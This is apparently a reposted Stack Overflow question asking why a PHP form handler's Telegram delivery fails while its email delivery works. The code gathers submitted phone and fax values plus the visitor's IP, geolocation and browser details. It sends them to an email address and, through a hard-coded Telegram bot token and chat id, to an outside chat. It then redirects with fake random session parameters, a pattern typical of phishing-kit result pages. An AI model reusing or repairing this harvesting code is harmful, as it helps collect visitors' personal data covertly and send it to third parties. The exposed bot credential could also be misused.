I have this simple code. I want messages to be sent to email and telegram I get the message to the e-mail without any problem, but I don't get the message to Telegram.
When I use the direct link for sending, I receive the message
This Link
This Code
session_start(); //------------------------------++ $_SESSION['Number1'] = $_POST['Number1']; $_SESSION['fax'] = $_POST['fax']; //------------------------------++ $ip = $_SERVER['REMOTE_ADDR']; // the IP address to query $query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ip)); //------------------------------++ $ip = getenv("REMOTE_ADDR"); //------------------------------++ if (getenv(HTTP_X_FORWARDED_FOR)){ $ip = getenv(HTTP_X_FORWARDED_FOR); } else { $ip = getenv(REMOTE_ADDR); } $date = date("d M, Y"); $time = date("g:i a"); $date = trim($date.", Time : ".$time); $useragent = $_SERVER['HTTP_USER_AGENT']; //------------------------------++ $message .= "+=+=+=+=+=+=+=+=+=+[ - Form - ]+=+=+=+=+=+=+=+=+=+=+\n"; $message .= "Phone Number : ".$_SESSION['Number1']."\n"; $message .= "Fax : ".$_SESSION['fax']."\n"; $message .= "+=+=+=+=+=+=+=+[ - PC InFo - ]+=+=+=+=+=+=+=+\n"; $message .= "IP Info : ".$ip."\n"; $message .= "Date : ".$date."\n"; $message .= "Browser : ".$_SERVER['HTTP_USER_AGENT']."\n"; $message .= "Whatsmyip : http://www.geoiptool.com/?IP=".$ip."\n"; //------------------------------++ $send="xxxxx@mail.com"; //-------------++ $subject = "Form Customer - [ ".$ip." ]"; $headers = "From: info <xx@xx.com>\r\n"; mail($send,$subject,$message,$headers); $apiToken = "1600302224:AAEVkIsg2f88fT7r5DvwggixmE4R_VeXX7w"; $data = [ 'chat_id' => '-595770912', 'text' => $message ]; $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) ); $RED1 = md5(microtime()); $RED2 = sha1(microtime()); header("Location: page.php?$RED1&&lim_session=$RED2");``` https://stackoverflow.com/questions/66467564/api-telegram-it-does-not-work-to-receive-message March 04, 2021 at 10:06AM
没有评论:
发表评论